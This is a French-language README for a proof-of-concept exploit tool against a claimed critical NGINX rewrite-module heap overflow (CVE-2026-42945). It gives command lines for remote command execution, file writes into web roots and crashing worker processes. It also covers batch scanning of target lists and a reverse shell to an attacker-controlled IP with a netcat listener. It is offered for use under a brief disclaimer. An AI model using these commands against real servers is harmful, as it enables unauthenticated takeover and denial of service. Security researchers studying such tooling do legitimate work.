Exploit RCE NGINX Rift (CVE-2026-42945) de @DepthFirstDisclosures
Un outil de preuve de concept (PoC) professionnel pour rechercher et identifier la vulnérabilité NGINX Rift, un dépassement de tampon dans le tas critique dans le module ngx_http_rewrite_module.
Aperçu de la vulnérabilité
- Identifiant CVE : CVE-2026-42945
- Alias : NGINX Rift
- Gravité : Critique (CVSS 9.2)
- Versions concernées : NGINX 0.6.27 à 1.30.0
- Cause racine : Erreur de décalage de taille dans le moteur de réécriture en deux passes lors de l'utilisation de captures PCRE non nommées ($1, $2) et de chaînes de remplacement contenant un ?.
- Impact : Exécution de code à distance (RCE) non authentifiée ou déni de service (DoS).
Fonctionnalités
- Prise en charge multi-mode : Test via une seule URL ou une liste par lot à partir d'un fichier .txt.
- Plusieurs méthodes d'exploitation :
- id : Exécute la commande id (par défaut).
- sleep : Vérification basée sur le temps (idéal pour RCE aveugle).
- write : Tente d'écrire un fichier dans les répertoires racine web courants.
- shell : Envoie un reverse shell basé sur Python.
- crash : Déclenche un simple crash du processus worker (DoS).
- Interface colorée : Indicateurs visuels clairs pour les états vulnérable (Vert), sécurisé (Rouge) et débogage (Jaune/Bleu).
- Journalisation détaillée : Interaction au niveau des sockets pour les chercheurs.
Utilisation
1. Cible unique
python3 poc.py --url http://target.com --method id
2. Analyse par lot multi-cibles
Créez un fichier nommé targets.txt avec une URL par ligne :
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
Puis exécutez :
python3 poc.py --list targets.txt --method sleep
3. Commandes personnalisées et mode verbeux
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. Reverse shell
Démarrez d'abord votre écouteur : nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [VOTRE_IP] --listen-port 1337
Comprendre les résultats
- [+] VULNÉRABLE (Vert) : L'exploit a déclenché une signature de corruption mémoire. Si vous utilisez sleep, vérifiez si le temps de réponse correspond à la durée de la pause.
- [-] Cible non vulnérable (Rouge) : L'exploit n'a pas pu déclencher de crash avec les candidats mémoire fournis.
- [DEBUG] (Jaune/Bleu) : Informations contextuelles sur le heap spraying et les adresses candidates.
Exigences et limitations
- Python 3.x : Aucune bibliothèque externe requise (utilise socket et argparse standard).
- ASLR : Ce PoC utilise des adresses mémoire statiques. Sur les systèmes où l'ASLR est activé, l'exploit entraînera probablement un déni de service (DoS) plutôt qu'une RCE, sauf si une fuite mémoire est fournie.
- Durcissement : Le filtrage de sortie (pare-feux) peut empêcher les méthodes curl ou shell de renvoyer des données vers vous. Utilisez la méthode sleep pour la confirmation la plus fiable.
Avertissement
Cet outil est destiné à des fins éducatives et à des audits de sécurité autorisés uniquement. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par ce script. Obtenez toujours une permission explicite avant de tester une infrastructure.